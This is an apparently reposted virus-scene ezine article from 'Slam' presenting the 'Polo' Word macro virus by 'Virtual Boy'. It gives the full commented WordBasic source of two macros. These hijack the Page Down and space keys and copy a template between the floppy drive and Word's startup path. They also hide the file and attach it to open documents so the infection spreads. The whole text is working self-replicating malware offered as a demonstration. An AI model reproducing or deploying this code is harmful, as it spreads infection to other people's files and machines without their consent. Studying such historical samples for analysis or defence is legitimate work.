SLAM2.009: Special Demonstration Virus >Polo< by VB

eZine lover (@eZine)

Published in 

Slam

 · 23 Feb 2022

[ WordMacro. Polo ]----------------------------------------------------------- 

˛ VIRUSNAME:      Polo 
˛ SIZE:           328 Byte 
˛ ORIGIN:         Germany 
˛ AUTHOR:         Virtual Boy 

Macroname: a (shortcut=[page-down]) 
~~~~~~~~~~~~~~~~~~~ 

Sub MAIN() 

'scroll page down if able to 
If PageDown() Then PageDown Else Beep 

'the template, which will be loaded if you read a infected file from disk 
a$ = "a:\a.dot" 

'there Word will load up the template every start for the whole session 
b$ = DefaultDir$(8) + "\a.dot" 
                 |_______________startup-path 

'if a.dot does not exist in startup-path 
If Files$(b$) = "" Then 

'then copy it from disk to the startup-path 
CopyFile a$, b$ 

End If 

End Sub 

 
Macroname: b (shortcut=[space]) 
~~~~~~~~~~~~~~~~~~~ 

Sub MAIN() 

'no warning if an error occurs 
On Error Resume Next 

'there an error occurs if no window is present for example 
Insert " " 

'the destination-file 
a$ = "a:\a.dot" 

'active template 
b$ = DefaultDir$(8) + "\a.dot" 

'if able to get docvar (otherwise there's no document) 
On Error Goto c 

'and if filename begins with "a" or "b" (to be sure that the doc is on disk) 
'and if there was no try to infect further (documentvar "a" will be set) 
If Files$(b$) <> "" And Asc(Left$(DefaultDir$(14), 1)) < 99 And GetDocumentVar$("a") = "" Then 

'this is needed because word is going to put a message on screen if it has 
'already opened the file 
On Error Goto a 
Open a$ For Output As 1 
Close 

'o.k., now copy a.dot from the startup-path onto the disk 
CopyFile b$, a$ 

'hide the file on disk 
SetAttr a$, 7 

a: 
'if the file now is present on disk 
On Error Goto b 
a = GetAttr(a$)  <--- you cannot use files$() because it is hidden 

'then connect it to the active document 
FileTemplates .Template=a$ 

b: 
'so there won't be more then one try to infect a document 
SetDocumentVar "a", "a" 

End If 

c: 

End Sub

-Virtual Boy